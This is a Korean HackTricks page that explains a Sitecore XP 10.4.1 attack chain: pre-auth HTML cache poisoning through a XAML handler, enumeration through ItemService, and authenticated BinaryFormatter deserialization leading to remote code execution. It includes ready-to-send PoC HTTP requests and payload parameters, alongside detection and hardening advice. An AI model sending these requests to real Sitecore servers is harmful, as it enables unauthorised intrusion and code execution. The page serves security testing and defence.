Sitecore Experience Platform (XP) – 사전 인증 HTML Cache Poisoning에서 포스트 인증 RCE까지

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 페이지는 사전 인증 XAML handler에서 HTML cache poisoning으로 전환하고, 인증된 UI 흐름을 통해 BinaryFormatter deserialization으로 RCE에 도달하는 Sitecore XP 10.4.1에 대한 실용적인 공격 체인을 요약합니다. 이 기법들은 유사한 Sitecore 버전/구성요소에 일반화되며 테스트, 탐지 및 하드닝을 위한 구체적인 프리미티브를 제공합니다.

  • 테스트한 영향 제품: Sitecore XP 10.4.1 rev. 011628
  • 수정됨: KB1003667, KB1003734 (June/July 2025)

참고:

Cache Poisoning and Cache Deception

Deserialization

사전 인증 프리미티브: XAML Ajax reflection → HtmlCache write

진입점은 web.config에 등록된 사전 인증 XAML 핸들러입니다:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

다음을 통해 접근 가능:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

컨트롤 트리에는 AjaxScriptManager가 포함되어 있으며, 이벤트 요청 시 attacker‑controlled fields를 읽고 리플렉션을 통해 대상 컨트롤의 메서드를 호출합니다:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

핵심 관찰: XAML 페이지에는 XmlControl 인스턴스(xmlcontrol:GlobalHeader)가 포함되어 있다. Sitecore.XmlControls.XmlControl는 Sitecore.Web.UI.WebControl( Sitecore 클래스)에서 파생되며, ReflectionUtil.Filter 허용-리스트(Sitecore.*)를 통과하여 Sitecore WebControl의 메서드를 해제한다.

poisoning을 위한 매직 메서드:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

xmlcontrol:GlobalHeader를 타깃으로 삼아 Sitecore.Web.UI.WebControl 메서드를 이름으로 호출할 수 있기 때문에, 우리는 pre‑auth arbitrary HtmlCache write primitive를 획득합니다.

PoC 요청 (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

노트:

  • __SOURCE는 Sitecore.Shell.Xaml.WebControl 내 xmlcontrol:GlobalHeader의 clientID입니다(정적 XAML에서 유래하므로 일반적으로 ctl00_ctl00_ctl05_ctl03 같은 값으로 안정적임).
  • __PARAMETERS 형식은 Method("arg1","arg2")입니다.

오염시킬 대상: Cache key construction

Sitecore 컨트롤에서 사용되는 일반적인 HtmlCache 키 구성:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

알려진 sublayout에 대한 targeted poisoning 예시:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

캐시 가능한 항목 및 “vary by” 차원 열거

ItemService가 (잘못)익명으로 노출된 경우, 캐시 가능한 컴포넌트를 열거하여 정확한 키를 얻을 수 있습니다.

간단한 확인:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

캐시 가능한 항목 및 플래그를 나열:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

다음과 같은 필드(Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate)를 찾아보세요. 디바이스 이름은 다음을 통해 열거할 수 있습니다:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

ItemService가 제한된 계정(예: ServicesAPI)으로 가장하고 빈 Results 배열을 반환하더라도 TotalCount는 ACL 이전의 Solr 히트를 반영할 수 있습니다. 와일드카드를 사용해 item 그룹/ids를 brute‑force하고 TotalCount가 수렴하는 것을 관찰하여 내부 콘텐츠와 장치를 매핑할 수 있습니다:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

convertToRuntimeHtml 파이프라인 단계 ConvertWebControls를 통해 접근 가능하며, 이 단계는 id가 {iframeId}_inner인 요소를 찾아 base64로 디코드하고 역직렬화한 다음, 결과 문자열을 HTML에 주입합니다:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

트리거(인증된 상태, Content Editor 권한). FixHtml 대화상자가 convertToRuntimeHtml을 호출합니다. UI 클릭 없이 엔드투엔드:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

전체 체인

  1. Pre‑auth 공격자는 XAML AjaxScriptManager를 통해 반사적으로 WebControl.AddToCache를 호출하여 HtmlCache를 임의의 HTML로 오염시킨다.
  2. 오염된 HTML은 인증된 Content Editor 사용자를 FixHtml 흐름으로 유도하는 JavaScript를 제공한다.
  3. FixHtml 페이지는 convertToRuntimeHtml → ConvertWebControls를 트리거하며, 여기서 BinaryFormatter로 공격자 제어의 base64를 역직렬화(deserialization)하여 Sitecore 앱 풀 아이덴티티로 RCE를 유발한다.

탐지

  • Pre‑auth XAML: __ISEVENT=1가 있는 /-/xaml/Sitecore.Shell.Xaml.WebControl로의 요청, 의심스러운 __SOURCE__PARAMETERS=AddToCache(...).
  • ItemService probing: /sitecore/api/ssc 와일드카드 쿼리 급증, 빈 Results와 큰 TotalCount.
  • Deserialization attempts: EditHtml.aspx 다음에 FixHtml.aspx?hdl=... 및 HTML 필드에 비정상적으로 큰 base64.

하드닝

  • Sitecore 패치 KB1003667 및 KB1003734 적용; pre‑auth XAML 핸들러를 차단/비활성화하거나 엄격한 검증 추가; /-/xaml/ 모니터링 및 rate‑limit 적용.
  • BinaryFormatter 제거/대체; convertToRuntimeHtml 접근 제한 또는 HTML 편집 흐름에 대한 강력한 서버측 검증 시행.
  • /sitecore/api/ssc를 loopback 또는 인증된 역할로 제한; impersonation 패턴이 TotalCount‑based side channels를 leak하지 않도록 회피.
  • Content Editor 사용자에 대해 MFA/최소 권한 적용; cache poisoning으로 인한 JS 유도(steering) 영향을 줄이기 위해 CSP 검토.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기